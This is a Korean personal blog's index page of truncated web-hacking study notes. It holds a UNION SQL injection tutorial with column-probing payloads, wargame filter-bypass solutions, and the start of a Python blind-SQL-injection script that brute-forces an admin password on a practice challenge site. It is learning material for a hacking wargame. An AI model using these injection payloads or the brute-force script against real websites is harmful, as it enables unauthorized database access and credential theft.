메모장

내가 보고 내가 참고하기 위해서 만든 블로그

웹해킹

UNION SQL injection을 알아보도록 하장 ㅎ UNION은 SQL에서 두개의 쿼리문에 대한 결과를 통합해서 하나의 테이블로 보여주게 하는 키워드다. 정상적 쿼리문에 UNION 키워드를 사용하여 injection에 성공하면, 원하는 쿼리문을 실행 할 수 있게 된다. UNION: 중복 제거 결과 UNION ALL: 중복 포함 결과 조건: UNION 하는 두 테이블 COLUMN의 개수가 같아야함. 그럼 일단 나는 MySQL과 SQL injection이 성공한다는 가정하에 설명하도록 하겠다. 일단 조건 즉 COLUMN의 개수를 찾는 방법을 설명하도록 하겠다 1' union select 1# 1' union select 1,2# 1' union select 1,2,3# 1' union select 1,..

2023. 7. 13.

웹해킹

저번과 같이 id가 admin이면 된다. 그러나 이번엔 id를 strtolower함수를 이용해서 소문자로 바꾸고 admin키워드를 없애버린다. 문제 해결 방안은 adadminmin과 같이 admin사이에 admin을 넣으면 가운데 admin이 사라져 문제가 풀리게된다. clear!

2023. 7. 2.

웹해킹

드디어 지겨운 blind sqli에서 넘어 갔다. 문제에서는 id가 admin이면 되지만 preg_match함수에서 admin문자열을 필터링한다. 하지만 뒤에 플래그 i가 없어 대소문자 구별을 한다!! 따라서 Admin, ADmin, AdMin,ADMIN등등 대소문자 섞어서 입력하면 풀린다!!

2023. 7. 2.

웹해킹

전에 썼던 코드에서 or과 and를 각각 || %26%26(&&)로 바꾸고 공백 몇개를 수정해서 사용했다. import requests URL = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php" cookies = {'PHPSESSID': '각자 쿠키값'} password = '' for length in range(1,9):#비밀번호 길이 수만큼 반복 for pw in range(48, 128):#아스키에서 숫자, 알파벳, 특수 문자, 구두점, 공백 포함 payload = "?pw=1' || id='admin'%26%26 ascii(substr(pw,"+str(length)+",1))='"+str(pw) #?pw=1' || ..

2023. 7. 2.